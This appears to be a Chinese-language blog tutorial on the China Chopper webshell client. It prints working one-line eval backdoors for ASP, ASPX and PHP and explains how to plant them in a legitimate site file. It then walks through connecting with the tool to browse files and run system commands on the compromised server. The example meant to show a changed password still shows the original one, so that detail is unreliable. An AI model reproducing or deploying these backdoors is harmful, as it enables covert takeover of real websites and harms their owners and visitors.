首先說一下菜刀的功能,菜刀是用來連一句話的,asp、aspx、php的一句話菜刀都可以連,只是這幾種一句話語句不一樣。
asp的一句話是:<%eval request(“pass”)%>
aspx的一句話是:<%@ Page Language=”Jscript”%><%eval(Request.Item["pass"],”unsafe”);%>
php的一句話是:<?php @eval($_POST['pass']);?>
這幾個一句話的密碼都是pass,也就是雙引號或者單引號包含著的這部分,比如我想把asp的一句話的密碼改成drvfan,那么改完之后就是這樣的:
<%eval request(“pass”)%>
其他同理。
要想連一句話,你首先得把這個一句話插入到一個正常的網站文件中,asp的一句話插入到asp文件里,aspx的一句話插入到aspx文件里,php同理。
當然,你也可以把一句話單獨寫在一個文件里,比如你新建了一個asp文件,這個asp文件的全部內容就只有一個一句話,也是可以的。
插入了一句話木馬,下面就是連接了。
在菜刀主界面,右擊,選擇“添加”,
在“地址”這里填上你插入一句話的文件的地址,后邊的那個小框填的是你的一句話的密碼,其他的不用填,
填完之后單擊“添加”,就可以了。
添加完畢后,你的這個一句話的shell會顯示到主界面里,右擊它,選擇“文件管理”,就可以看到網站上的文件了
在菜刀里還有一個功能,是“虛擬終端”,也是在右鍵菜單里的,這個相當于webshell中的執行DOS命令的功能
如果你的shell有權執行DOS命令,那么直接輸入命令回車就可以看到結果了
中國的一句話和菜刀
最后編輯于 :
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
推薦閱讀更多精彩內容
- 黑客在入侵企業網站時,通常要通過各種方式獲取webshell從而獲得企業網站的控制權,然后方便進行之后的入侵行為。...